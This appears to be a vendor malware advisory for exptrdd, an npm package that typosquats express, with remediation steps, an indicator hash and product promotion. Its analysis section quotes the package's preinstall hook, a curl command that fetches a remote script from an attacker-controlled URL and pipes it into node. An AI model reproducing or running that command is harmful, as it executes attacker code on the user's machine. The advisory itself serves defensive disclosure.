Which versions of exptrdd are malicious?

The following npm versions of exptrdd are flagged malicious: 5.2.1. Treat any of these as compromised.

How do I remediate exptrdd if I installed it?

exptrdd is a typosquat — you almost certainly intended a legitimately-named package. Remove exptrdd, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed exptrdd — how do I know if it already compromised me?

If exptrdd was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is exptrdd part of a known attack campaign?

Yes — exptrdd is associated with the IN-MAL-2026-020626 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find exptrdd across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for exptrdd (version 5.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging exptrdd across your stack and pipelines.

Malicious package

exptrddnpm

exptrdd is a confirmed malicious npm package (MAL-2026-17245) that typosquats a legitimate package to trick installs (malicious version 5.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in exptrdd (npm)

MAL-2026-17245

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall exptrdd

What this malware does

package.json declares a preinstall lifecycle that runs curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node, fetching an unpinned script from a mutable branch and piping it directly into node on every npm install. The fetched code runs with the installer's privileges and can perform arbitrary actions on the host. The package identity is a typosquat of express: name is exptrdd while the description, keywords, author, and repository fields are copied verbatim from expressjs/express, so developers who mistype express install the dropper. The remote source (codeberg branch, proxied through web.archive.org) is attacker-controlled and mutable, so the executed payload can change at any time without a package republish.

Malicious versions

1 flagged

5.2.1

Indicators of compromise (SHA-256)

6ba0b22d41f4edf82552b79417b6660bc1aaf311e4ec597b31674f0b6fdd5314

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for exptrdd (version 5.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging exptrdd across your stack and pipelines.
If you installed it — respond
exptrdd is a typosquat — you almost certainly intended a legitimately-named package. Remove exptrdd, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If exptrdd was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks exptrdd before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. exptrdd on npm has been identified as a malicious package (version 5.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020626

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks exptrdd-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database